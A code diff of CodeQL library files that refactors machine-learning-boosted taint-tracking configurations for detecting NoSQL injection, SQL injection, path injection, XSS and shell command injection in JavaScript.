||||
call.getReceiver() instanceof Http::RequestNode and
|
||||
result = "receiver is a HTTP request expression"
|
||||
or
|
||||
call.getReceiver() instanceof Http::ResponseNode and
|
||||
result = "receiver is a HTTP response expression"
|
||||
)
|
||||
or
|
||||
// Require NoSQL injection sink candidates to be (a) direct arguments to external library calls
|
||||
// or (b) heuristic sinks for NoSQL injection.
|
||||
//
|
||||
// ## Direct arguments to external library calls
|
||||
//
|
||||
// The `StandardEndpointFilters::flowsToArgumentOfLikelyExternalLibraryCall` endpoint filter
|
||||
// allows sink candidates which are within object literals or array literals, for example
|
||||
// `req.sendFile(_, { path: ENDPOINT })`.
|
||||
//
|
||||
// However, the NoSQL injection query deals differently with these types of sinks compared to
|
||||
// other security queries. Other security queries such as SQL injection tend to treat
|
||||
// `ENDPOINT` as the ground truth sink, but the NoSQL injection query instead treats
|
||||
// `{ path: ENDPOINT }` as the ground truth sink and defines an additional flow step to ensure
|
||||
// data flows from `ENDPOINT` to the ground truth sink `{ path: ENDPOINT }`.
|
||||
//
|
||||
// Therefore for the NoSQL injection boosted query, we must ignore sink candidates within object
|
||||
// literals or array literals, to avoid having multiple alerts for the same security
|
||||
// vulnerability (one FP where the sink is `ENDPOINT` and one TP where the sink is
|
||||
// `{ path: ENDPOINT }`). We accomplish this by directly testing that the sink candidate is an
|
||||
// argument of a likely external library call.
|
||||
//
|
||||
// ## Heuristic sinks
|
||||
//
|
||||
// We also allow heuristic sinks in addition to direct arguments to external library calls.
|
||||
// These are copied from the `HeuristicNosqlInjectionSink` class defined within
|
||||
// `codeql/javascript/ql/src/semmle/javascript/heuristics/AdditionalSinks.qll`.
|
||||
// We can't reuse the class because importing that file would cause us to treat these
|
||||
// heuristic sinks as known sinks.
|
||||
not sinkCandidate = StandardEndpointFilters::getALikelyExternalLibraryCall().getAnArgument() and
|
||||
not (
|
||||
isAssignedToOrConcatenatedWith(sinkCandidate, "(?i)(nosql|query)") or
|
||||
isArgTo(sinkCandidate, "(?i)(query)")
|
||||
) and
|
||||
result = "not a direct argument to a likely external library call or a heuristic sink"
|
||||
}
|
||||
}
|
||||
|
||||
class NosqlInjectionAtmConfig extends AtmConfig {
|
||||
NosqlInjectionAtmConfig() { this = "NosqlInjectionATMConfig" }
|
||||
NosqlInjectionAtmConfig() { this = "NosqlInjectionAtmConfig" }
|
||||
|
||||
override predicate isKnownSource(DataFlow::Node source) {
|
||||
source instanceof NosqlInjection::Source or TaintedObject::isSource(source, _)
|
||||
}
|
||||
|
||||
override predicate isEffectiveSink(DataFlow::Node sinkCandidate) {
|
||||
not exists(SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate))
|
||||
}
|
||||
|
||||
override EndpointType getASinkEndpointType() { result instanceof NosqlInjectionSinkType }
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for NosqlInjectionAtmConfig */
|
||||
deprecated class NosqlInjectionATMConfig = NosqlInjectionAtmConfig;
|
||||
|
||||
/** Holds if src -> trg is an additional flow step in the non-boosted NoSql injection security query. */
|
||||
predicate isBaseAdditionalFlowStep(
|
||||
DataFlow::Node src, DataFlow::Node trg, DataFlow::FlowLabel inlbl, DataFlow::FlowLabel outlbl
|
||||
) {
|
||||
TaintedObject::step(src, trg, inlbl, outlbl)
|
||||
or
|
||||
// additional flow step to track taint through NoSQL query objects
|
||||
inlbl = TaintedObject::label() and
|
||||
outlbl = TaintedObject::label() and
|
||||
exists(NoSql::Query query, DataFlow::SourceNode queryObj |
|
||||
queryObj.flowsTo(query) and
|
||||
queryObj.flowsTo(trg) and
|
||||
src = queryObj.getAPropertyWrite().getRhs()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a value that is (transitively) written to `query`, where `query` is a NoSQL sink.
|
||||
*
|
||||
* This predicate allows us to propagate data flow through property writes and array constructors
|
||||
* within a query object, enabling the security query to pick up NoSQL injection vulnerabilities
|
||||
* involving more complex queries.
|
||||
*/
|
||||
DataFlow::Node getASubexpressionWithinQuery(DataFlow::Node query) {
|
||||
any(NosqlInjectionAtmConfig cfg).isEffectiveSink(query) and
|
||||
exists(DataFlow::SourceNode receiver |
|
||||
receiver = [getASubexpressionWithinQuery(query), query].getALocalSource()
|
||||
|
|
||||
result =
|
||||
[receiver.getAPropertyWrite().getRhs(), receiver.(DataFlow::ArrayCreationNode).getAnElement()]
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about NoSQL injection vulnerabilities.
|
||||
*
|
||||
* This is largely a copy of the taint tracking configuration for the standard NoSQL injection
|
||||
* query, except additional ATM sinks have been added and the additional flow step has been
|
||||
* generalised to cover the sinks predicted by ATM.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "NosqlInjectionATM" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof NosqlInjection::Source }
|
||||
/*
|
||||
* This is largely a copy of the taint tracking configuration for the standard NoSQL injection
|
||||
* query, except additional ATM sinks have been added and the additional flow step has been
|
||||
* generalised to cover the sinks predicted by ATM.
|
||||
*/
|
||||
|
||||
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) {
|
||||
TaintedObject::isSource(source, label)
|
||||
@@ -156,7 +33,7 @@ class Configuration extends TaintTracking::Configuration {
|
||||
sink.(NosqlInjection::Sink).getAFlowLabel() = label
|
||||
or
|
||||
// Allow effective sinks to have any taint label
|
||||
any(NosqlInjectionAtmConfig cfg).isEffectiveSink(sink)
|
||||
isEffectiveSink(sink)
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
@@ -175,7 +52,43 @@ class Configuration extends TaintTracking::Configuration {
|
||||
isBaseAdditionalFlowStep(src, trg, inlbl, outlbl)
|
||||
or
|
||||
// relaxed version of previous step to track taint through unmodeled NoSQL query objects
|
||||
any(NosqlInjectionAtmConfig cfg).isEffectiveSink(trg) and
|
||||
isEffectiveSink(trg) and
|
||||
src = getASubexpressionWithinQuery(trg)
|
||||
}
|
||||
|
||||
/** Holds if src -> trg is an additional flow step in the non-boosted NoSql injection security query. */
|
||||
private predicate isBaseAdditionalFlowStep(
|
||||
DataFlow::Node src, DataFlow::Node trg, DataFlow::FlowLabel inlbl, DataFlow::FlowLabel outlbl
|
||||
) {
|
||||
TaintedObject::step(src, trg, inlbl, outlbl)
|
||||
or
|
||||
// additional flow step to track taint through NoSQL query objects
|
||||
inlbl = TaintedObject::label() and
|
||||
outlbl = TaintedObject::label() and
|
||||
exists(NoSql::Query query, DataFlow::SourceNode queryObj |
|
||||
queryObj.flowsTo(query) and
|
||||
queryObj.flowsTo(trg) and
|
||||
src = queryObj.getAPropertyWrite().getRhs()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a value that is (transitively) written to `query`, where `query` is a NoSQL sink.
|
||||
*
|
||||
* This predicate allows us to propagate data flow through property writes and array constructors
|
||||
* within a query object, enabling the security query to pick up NoSQL injection vulnerabilities
|
||||
* involving more complex queries.
|
||||
*/
|
||||
private DataFlow::Node getASubexpressionWithinQuery(DataFlow::Node query) {
|
||||
isEffectiveSink(query) and
|
||||
exists(DataFlow::SourceNode receiver |
|
||||
receiver = [getASubexpressionWithinQuery(query), query].getALocalSource()
|
||||
|
|
||||
result =
|
||||
[
|
||||
receiver.getAPropertyWrite().getRhs(),
|
||||
receiver.(DataFlow::ArrayCreationNode).getAnElement()
|
||||
]
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* A taint-tracking configuration for reasoning about command-injection
|
||||
* vulnerabilities.
|
||||
* Defines shared code used by the ShellCommandInjectionFromEnvironment boosted query.
|
||||
*/
|
||||
|
||||
private import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
private import semmle.javascript.security.dataflow.ShellCommandInjectionFromEnvironmentCustomizations::ShellCommandInjectionFromEnvironment as ShellCommandInjectionFromEnvironment
|
||||
import AdaptiveThreatModeling
|
||||
|
||||
class ShellCommandInjectionFromEnvironmentAtmConfig extends AtmConfig {
|
||||
ShellCommandInjectionFromEnvironmentAtmConfig() {
|
||||
this = "ShellCommandInjectionFromEnvironmentAtmConfig"
|
||||
}
|
||||
|
||||
override predicate isKnownSource(DataFlow::Node source) {
|
||||
source instanceof ShellCommandInjectionFromEnvironment::Source
|
||||
}
|
||||
|
||||
override EndpointType getASinkEndpointType() {
|
||||
result instanceof ShellCommandInjectionFromEnvironmentSinkType
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof ShellCommandInjectionFromEnvironment::Sanitizer
|
||||
}
|
||||
}
|
||||
@@ -1,94 +1,25 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* A taint-tracking configuration for reasoning about SQL injection vulnerabilities.
|
||||
* Defines shared code used by the SQL injection boosted query.
|
||||
*/
|
||||
|
||||
import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
import semmle.javascript.security.dataflow.SqlInjectionCustomizations
|
||||
import AdaptiveThreatModeling
|
||||
import CoreKnowledge as CoreKnowledge
|
||||
import StandardEndpointFilters as StandardEndpointFilters
|
||||
|
||||
/**
|
||||
* This module provides logic to filter candidate sinks to those which are likely SQL injection
|
||||
* sinks.
|
||||
*/
|
||||
module SinkEndpointFilter {
|
||||
private import javascript
|
||||
private import SQL
|
||||
|
||||
/**
|
||||
* Provides a set of reasons why a given data flow node should be excluded as a sink candidate.
|
||||
*
|
||||
* If this predicate has no results for a sink candidate `n`, then we should treat `n` as an
|
||||
* effective sink.
|
||||
*/
|
||||
string getAReasonSinkExcluded(DataFlow::Node sinkCandidate) {
|
||||
result = StandardEndpointFilters::getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
exists(DataFlow::CallNode call | sinkCandidate = call.getAnArgument() |
|
||||
// prepared statements for SQL
|
||||
any(DataFlow::CallNode cn | cn.getCalleeName() = "prepare")
|
||||
.getAMethodCall("run")
|
||||
.getAnArgument() = sinkCandidate and
|
||||
result = "prepared SQL statement"
|
||||
or
|
||||
sinkCandidate instanceof DataFlow::ArrayCreationNode and
|
||||
result = "array creation"
|
||||
or
|
||||
// UI is unrelated to SQL
|
||||
call.getCalleeName().regexpMatch("(?i).*(render|html).*") and
|
||||
result = "HTML / rendering"
|
||||
)
|
||||
or
|
||||
// Require SQL injection sink candidates to be (a) arguments to external library calls
|
||||
// (possibly indirectly), or (b) heuristic sinks.
|
||||
//
|
||||
// Heuristic sinks are copied from the `HeuristicSqlInjectionSink` class defined within
|
||||
// `codeql/javascript/ql/src/semmle/javascript/heuristics/AdditionalSinks.qll`.
|
||||
// We can't reuse the class because importing that file would cause us to treat these
|
||||
// heuristic sinks as known sinks.
|
||||
not StandardEndpointFilters::flowsToArgumentOfLikelyExternalLibraryCall(sinkCandidate) and
|
||||
not (
|
||||
isAssignedToOrConcatenatedWith(sinkCandidate, "(?i)(sql|query)") or
|
||||
isArgTo(sinkCandidate, "(?i)(query)") or
|
||||
isConcatenatedWithString(sinkCandidate,
|
||||
"(?s).*(ALTER|COUNT|CREATE|DATABASE|DELETE|DISTINCT|DROP|FROM|GROUP|INSERT|INTO|LIMIT|ORDER|SELECT|TABLE|UPDATE|WHERE).*")
|
||||
) and
|
||||
result = "not an argument to a likely external library call or a heuristic sink"
|
||||
}
|
||||
}
|
||||
|
||||
class SqlInjectionAtmConfig extends AtmConfig {
|
||||
SqlInjectionAtmConfig() { this = "SqlInjectionATMConfig" }
|
||||
SqlInjectionAtmConfig() { this = "SqlInjectionAtmConfig" }
|
||||
|
||||
override predicate isKnownSource(DataFlow::Node source) { source instanceof SqlInjection::Source }
|
||||
|
||||
override predicate isEffectiveSink(DataFlow::Node sinkCandidate) {
|
||||
not exists(SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate))
|
||||
}
|
||||
|
||||
override EndpointType getASinkEndpointType() { result instanceof SqlInjectionSinkType }
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for SqlInjectionAtmConfig */
|
||||
deprecated class SqlInjectionATMConfig = SqlInjectionAtmConfig;
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about SQL injection vulnerabilities.
|
||||
*
|
||||
* This is largely a copy of the taint tracking configuration for the standard SQL injection
|
||||
* query, except additional sinks have been added using the sink endpoint filter.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "SqlInjectionATM" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof SqlInjection::Source }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) {
|
||||
sink instanceof SqlInjection::Sink or any(SqlInjectionAtmConfig cfg).isEffectiveSink(sink)
|
||||
}
|
||||
/*
|
||||
* This is largely a copy of the taint tracking configuration for the standard SQL injection
|
||||
* query, except additional sinks have been added using the sink endpoint filter.
|
||||
*/
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
|
||||
@@ -1,134 +0,0 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Provides classes and predicates that are useful for endpoint filters.
|
||||
*
|
||||
* The standard use of this library is to make use of `isPotentialEffectiveSink/1`
|
||||
*/
|
||||
|
||||
private import javascript
|
||||
private import semmle.javascript.filters.ClassifyFiles as ClassifyFiles
|
||||
private import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
private import CoreKnowledge as CoreKnowledge
|
||||
|
||||
/** Provides a set of reasons why a given data flow node should be excluded as a sink candidate. */
|
||||
string getAReasonSinkExcluded(DataFlow::Node n) {
|
||||
isArgumentToModeledFunction(n) and result = "argument to modeled function"
|
||||
or
|
||||
isArgumentToSinklessLibrary(n) and result = "argument to sinkless library"
|
||||
or
|
||||
isSanitizer(n) and result = "sanitizer"
|
||||
or
|
||||
isPredicate(n) and result = "predicate"
|
||||
or
|
||||
isHash(n) and result = "hash"
|
||||
or
|
||||
isNumeric(n) and result = "numeric"
|
||||
or
|
||||
// Ignore candidate sinks within externs, generated, library, and test code
|
||||
exists(string category | category = ["externs", "generated", "library", "test"] |
|
||||
ClassifyFiles::classify(n.getFile(), category) and
|
||||
result = "in " + category + " file"
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the node `n` is an argument to a function that has a manual model.
|
||||
*/
|
||||
predicate isArgumentToModeledFunction(DataFlow::Node n) {
|
||||
exists(DataFlow::InvokeNode invk, DataFlow::Node known |
|
||||
invk.getAnArgument() = n and invk.getAnArgument() = known and isSomeModeledArgument(known)
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the node `n` is an argument that has a manual model.
|
||||
*/
|
||||
predicate isSomeModeledArgument(DataFlow::Node n) {
|
||||
CoreKnowledge::isKnownLibrarySink(n) or
|
||||
CoreKnowledge::isKnownStepSrc(n) or
|
||||
CoreKnowledge::isOtherModeledArgument(n, _)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `n` appears to be a numeric value.
|
||||
*/
|
||||
predicate isNumeric(DataFlow::Node n) { isReadFrom(n, ".*index.*") }
|
||||
|
||||
/**
|
||||
* Holds if `n` is an argument to a library without sinks.
|
||||
*/
|
||||
predicate isArgumentToSinklessLibrary(DataFlow::Node n) {
|
||||
exists(DataFlow::InvokeNode invk, DataFlow::SourceNode commonSafeLibrary, string libraryName |
|
||||
libraryName = ["slugify", "striptags", "marked"]
|
||||
|
|
||||
commonSafeLibrary = DataFlow::moduleImport(libraryName) and
|
||||
invk = [commonSafeLibrary, commonSafeLibrary.getAPropertyRead()].getAnInvocation() and
|
||||
n = invk.getAnArgument()
|
||||
)
|
||||
}
|
||||
|
||||
predicate isSanitizer(DataFlow::Node n) {
|
||||
exists(DataFlow::CallNode call | n = call.getAnArgument() |
|
||||
call.getCalleeName().regexpMatch("(?i).*(escape|valid(ate)?|sanitize|purify).*")
|
||||
)
|
||||
}
|
||||
|
||||
predicate isPredicate(DataFlow::Node n) {
|
||||
exists(DataFlow::CallNode call | n = call.getAnArgument() |
|
||||
call.getCalleeName().regexpMatch("(equals|(|is|has|can)(_|[A-Z])).*")
|
||||
)
|
||||
}
|
||||
|
||||
predicate isHash(DataFlow::Node n) {
|
||||
exists(DataFlow::CallNode call | n = call.getAnArgument() |
|
||||
call.getCalleeName().regexpMatch("(?i)^(sha\\d*|md5|hash)$")
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the data flow node is a (possibly indirect) argument of a likely external library call.
|
||||
*
|
||||
* This includes direct arguments of likely external library calls as well as nested object
|
||||
* literals within those calls.
|
||||
*/
|
||||
predicate flowsToArgumentOfLikelyExternalLibraryCall(DataFlow::Node n) {
|
||||
n = getACallWithoutCallee().getAnArgument()
|
||||
or
|
||||
exists(DataFlow::SourceNode src | flowsToArgumentOfLikelyExternalLibraryCall(src) |
|
||||
n = src.getAPropertyWrite().getRhs()
|
||||
)
|
||||
or
|
||||
exists(DataFlow::ArrayCreationNode arr | flowsToArgumentOfLikelyExternalLibraryCall(arr) |
|
||||
n = arr.getAnElement()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Get calls which are likely to be to external non-built-in libraries.
|
||||
*/
|
||||
DataFlow::CallNode getALikelyExternalLibraryCall() { result = getACallWithoutCallee() }
|
||||
|
||||
/**
|
||||
* Gets a node that flows to callback-parameter `p`.
|
||||
*/
|
||||
private DataFlow::SourceNode getACallback(DataFlow::ParameterNode p, DataFlow::TypeBackTracker t) {
|
||||
t.start() and
|
||||
result = p and
|
||||
any(DataFlow::FunctionNode f).getLastParameter() = p and
|
||||
exists(p.getACall())
|
||||
or
|
||||
exists(DataFlow::TypeBackTracker t2 | result = getACallback(p, t2).backtrack(t2, t))
|
||||
}
|
||||
|
||||
/**
|
||||
* Get calls for which we do not have the callee (i.e. the definition of the called function). This
|
||||
* acts as a heuristic for identifying calls to external library functions.
|
||||
*/
|
||||
private DataFlow::CallNode getACallWithoutCallee() {
|
||||
forall(Function callee | callee = result.getACallee() | callee.getTopLevel().isExterns()) and
|
||||
not exists(DataFlow::ParameterNode param, DataFlow::FunctionNode callback |
|
||||
param.flowsTo(result.getCalleeNode()) and
|
||||
callback = getACallback(param, DataFlow::TypeBackTracker::end())
|
||||
)
|
||||
}
|
||||
@@ -1,95 +1,31 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* A taint-tracking configuration for reasoning about path injection vulnerabilities.
|
||||
* Defines shared code used by the path injection boosted query.
|
||||
*/
|
||||
|
||||
import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
import semmle.javascript.security.dataflow.TaintedPathCustomizations
|
||||
import AdaptiveThreatModeling
|
||||
import CoreKnowledge as CoreKnowledge
|
||||
import StandardEndpointFilters as StandardEndpointFilters
|
||||
|
||||
/**
|
||||
* This module provides logic to filter candidate sinks to those which are likely path injection
|
||||
* sinks.
|
||||
*/
|
||||
module SinkEndpointFilter {
|
||||
private import javascript
|
||||
private import TaintedPath
|
||||
|
||||
/**
|
||||
* Provides a set of reasons why a given data flow node should be excluded as a sink candidate.
|
||||
*
|
||||
* If this predicate has no results for a sink candidate `n`, then we should treat `n` as an
|
||||
* effective sink.
|
||||
*/
|
||||
string getAReasonSinkExcluded(DataFlow::Node sinkCandidate) {
|
||||
result = StandardEndpointFilters::getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
// Require path injection sink candidates to be (a) arguments to external library calls
|
||||
// (possibly indirectly), or (b) heuristic sinks.
|
||||
//
|
||||
// Heuristic sinks are mostly copied from the `HeuristicTaintedPathSink` class defined within
|
||||
// `codeql/javascript/ql/src/semmle/javascript/heuristics/AdditionalSinks.qll`.
|
||||
// We can't reuse the class because importing that file would cause us to treat these
|
||||
// heuristic sinks as known sinks.
|
||||
not StandardEndpointFilters::flowsToArgumentOfLikelyExternalLibraryCall(sinkCandidate) and
|
||||
not (
|
||||
isAssignedToOrConcatenatedWith(sinkCandidate, "(?i)(file|folder|dir|absolute)")
|
||||
or
|
||||
isArgTo(sinkCandidate, "(?i)(get|read)file")
|
||||
or
|
||||
exists(string pathPattern |
|
||||
// paths with at least two parts, and either a trailing or leading slash
|
||||
pathPattern = "(?i)([a-z0-9_.-]+/){2,}" or
|
||||
pathPattern = "(?i)(/[a-z0-9_.-]+){2,}"
|
||||
|
|
||||
isConcatenatedWithString(sinkCandidate, pathPattern)
|
||||
)
|
||||
or
|
||||
isConcatenatedWithStrings(".*/", sinkCandidate, "/.*")
|
||||
or
|
||||
// In addition to the names from `HeuristicTaintedPathSink` in the
|
||||
// `isAssignedToOrConcatenatedWith` predicate call above, we also allow the noisier "path"
|
||||
// name.
|
||||
isAssignedToOrConcatenatedWith(sinkCandidate, "(?i)path")
|
||||
) and
|
||||
result = "not a direct argument to a likely external library call or a heuristic sink"
|
||||
}
|
||||
}
|
||||
|
||||
class TaintedPathAtmConfig extends AtmConfig {
|
||||
TaintedPathAtmConfig() { this = "TaintedPathATMConfig" }
|
||||
TaintedPathAtmConfig() { this = "TaintedPathAtmConfig" }
|
||||
|
||||
override predicate isKnownSource(DataFlow::Node source) { source instanceof TaintedPath::Source }
|
||||
|
||||
override predicate isEffectiveSink(DataFlow::Node sinkCandidate) {
|
||||
not exists(SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate))
|
||||
}
|
||||
|
||||
override EndpointType getASinkEndpointType() { result instanceof TaintedPathSinkType }
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for TaintedPathAtmConfig */
|
||||
deprecated class TaintedPathATMConfig = TaintedPathAtmConfig;
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about path injection vulnerabilities.
|
||||
*
|
||||
* This is largely a copy of the taint tracking configuration for the standard path injection
|
||||
* query, except additional ATM sinks have been added to the `isSink` predicate.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "TaintedPathATM" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof TaintedPath::Source }
|
||||
/*
|
||||
* This is largely a copy of the taint tracking configuration for the standard path injection
|
||||
* query, except additional ATM sinks have been added to the `isSink` predicate.
|
||||
*/
|
||||
|
||||
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) {
|
||||
label = sink.(TaintedPath::Sink).getAFlowLabel()
|
||||
or
|
||||
// Allow effective sinks to have any taint label
|
||||
any(TaintedPathAtmConfig cfg).isEffectiveSink(sink)
|
||||
isEffectiveSink(sink)
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) { node instanceof TaintedPath::Sanitizer }
|
||||
@@ -115,9 +51,7 @@ class Configuration extends TaintTracking::Configuration {
|
||||
* of barrier guards, we port the barrier guards for the boosted query from the standard library to
|
||||
* sanitizer guards here.
|
||||
*/
|
||||
class BarrierGuardNodeAsSanitizerGuardNode extends TaintTracking::LabeledSanitizerGuardNode {
|
||||
BarrierGuardNodeAsSanitizerGuardNode() { this instanceof TaintedPath::BarrierGuardNode }
|
||||
|
||||
private class BarrierGuardNodeAsSanitizerGuardNode extends TaintTracking::LabeledSanitizerGuardNode instanceof TaintedPath::BarrierGuardNode {
|
||||
override predicate sanitizes(boolean outcome, Expr e) {
|
||||
blocks(outcome, e) or blocks(outcome, e, _)
|
||||
}
|
||||
|
||||
@@ -1,95 +1,25 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* A taint-tracking configuration for reasoning about XSS vulnerabilities.
|
||||
* Defines shared code used by the XSS boosted query.
|
||||
*/
|
||||
|
||||
private import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
private import semmle.javascript.security.dataflow.DomBasedXssCustomizations
|
||||
import AdaptiveThreatModeling
|
||||
import CoreKnowledge as CoreKnowledge
|
||||
import StandardEndpointFilters as StandardEndpointFilters
|
||||
|
||||
/**
|
||||
* This module provides logic to filter candidate sinks to those which are likely XSS sinks.
|
||||
*/
|
||||
module SinkEndpointFilter {
|
||||
private import javascript
|
||||
private import DomBasedXss
|
||||
|
||||
/**
|
||||
* Provides a set of reasons why a given data flow node should be excluded as a sink candidate.
|
||||
*
|
||||
* If this predicate has no results for a sink candidate `n`, then we should treat `n` as an
|
||||
* effective sink.
|
||||
*/
|
||||
string getAReasonSinkExcluded(DataFlow::Node sinkCandidate) {
|
||||
result = StandardEndpointFilters::getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
exists(DataFlow::CallNode call | sinkCandidate = call.getAnArgument() |
|
||||
call.getCalleeName() = "setState"
|
||||
) and
|
||||
result = "setState calls ought to be safe in react applications"
|
||||
or
|
||||
// Require XSS sink candidates to be (a) arguments to external library calls (possibly
|
||||
// indirectly), or (b) heuristic sinks.
|
||||
//
|
||||
// Heuristic sinks are copied from the `HeuristicDomBasedXssSink` class defined within
|
||||
// `codeql/javascript/ql/src/semmle/javascript/heuristics/AdditionalSinks.qll`.
|
||||
// We can't reuse the class because importing that file would cause us to treat these
|
||||
// heuristic sinks as known sinks.
|
||||
not StandardEndpointFilters::flowsToArgumentOfLikelyExternalLibraryCall(sinkCandidate) and
|
||||
not (
|
||||
isAssignedToOrConcatenatedWith(sinkCandidate, "(?i)(html|innerhtml)")
|
||||
or
|
||||
isArgTo(sinkCandidate, "(?i)(html|render)")
|
||||
or
|
||||
sinkCandidate instanceof StringOps::HtmlConcatenationLeaf
|
||||
or
|
||||
isConcatenatedWithStrings("(?is).*<[a-z ]+.*", sinkCandidate, "(?s).*>.*")
|
||||
or
|
||||
// In addition to the heuristic sinks from `HeuristicDomBasedXssSink`, explicitly allow
|
||||
// property writes like `elem.innerHTML = <TAINT>` that may not be picked up as HTML
|
||||
// concatenation leaves.
|
||||
exists(DataFlow::PropWrite pw |
|
||||
pw.getPropertyName().regexpMatch("(?i).*html*") and
|
||||
pw.getRhs() = sinkCandidate
|
||||
)
|
||||
) and
|
||||
result = "not a direct argument to a likely external library call or a heuristic sink"
|
||||
}
|
||||
}
|
||||
|
||||
class DomBasedXssAtmConfig extends AtmConfig {
|
||||
DomBasedXssAtmConfig() { this = "DomBasedXssATMConfig" }
|
||||
DomBasedXssAtmConfig() { this = "DomBasedXssAtmConfig" }
|
||||
|
||||
override predicate isKnownSource(DataFlow::Node source) { source instanceof DomBasedXss::Source }
|
||||
|
||||
override predicate isEffectiveSink(DataFlow::Node sinkCandidate) {
|
||||
not exists(SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate))
|
||||
}
|
||||
|
||||
override EndpointType getASinkEndpointType() { result instanceof XssSinkType }
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for DomBasedXssAtmConfig */
|
||||
deprecated class DomBasedXssATMConfig = DomBasedXssAtmConfig;
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about XSS vulnerabilities.
|
||||
*
|
||||
* This is largely a copy of the taint tracking configuration for the standard XSSThroughDom query,
|
||||
* except additional ATM sinks have been added to the `isSink` predicate.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "DomBasedXssATMConfiguration" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof DomBasedXss::Source }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) {
|
||||
sink instanceof DomBasedXss::Sink or
|
||||
any(DomBasedXssAtmConfig cfg).isEffectiveSink(sink)
|
||||
}
|
||||
/*
|
||||
* This is largely a copy of the taint tracking configuration for the standard XSSThroughDom query,
|
||||
* except additional ATM sinks have been added to the `isSink` predicate.
|
||||
*/
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* A taint-tracking configuration for reasoning about XSS through the DOM.
|
||||
* Defines shared code used by the XSS Through DOM boosted query.
|
||||
*/
|
||||
|
||||
private import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
private import semmle.javascript.security.dataflow.DomBasedXssCustomizations
|
||||
private import semmle.javascript.dataflow.InferredTypes
|
||||
private import semmle.javascript.security.dataflow.XssThroughDomCustomizations::XssThroughDom as XssThroughDom
|
||||
private import semmle.javascript.security.dataflow.UnsafeJQueryPluginCustomizations::UnsafeJQueryPlugin as UnsafeJQuery
|
||||
import AdaptiveThreatModeling
|
||||
|
||||
class XssThroughDomAtmConfig extends AtmConfig {
|
||||
XssThroughDomAtmConfig() { this = "XssThroughDomAtmConfig" }
|
||||
|
||||
override predicate isKnownSource(DataFlow::Node source) {
|
||||
source instanceof XssThroughDom::Source
|
||||
}
|
||||
|
||||
override EndpointType getASinkEndpointType() { result instanceof XssSinkType }
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof DomBasedXss::Sanitizer
|
||||
}
|
||||
|
||||
override predicate isSanitizerGuard(TaintTracking::SanitizerGuardNode guard) {
|
||||
guard instanceof TypeTestGuard or
|
||||
guard instanceof UnsafeJQuery::PropertyPresenceSanitizer or
|
||||
guard instanceof UnsafeJQuery::NumberGuard or
|
||||
guard instanceof PrefixStringSanitizer or
|
||||
guard instanceof QuoteGuard or
|
||||
guard instanceof ContainsHtmlGuard
|
||||
}
|
||||
|
||||
override predicate isSanitizerEdge(DataFlow::Node pred, DataFlow::Node succ) {
|
||||
DomBasedXss::isOptionallySanitizedEdge(pred, succ)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A test of form `typeof x === "something"`, preventing `x` from being a string in some cases.
|
||||
*
|
||||
* This sanitizer helps prune infeasible paths in type-overloaded functions.
|
||||
*/
|
||||
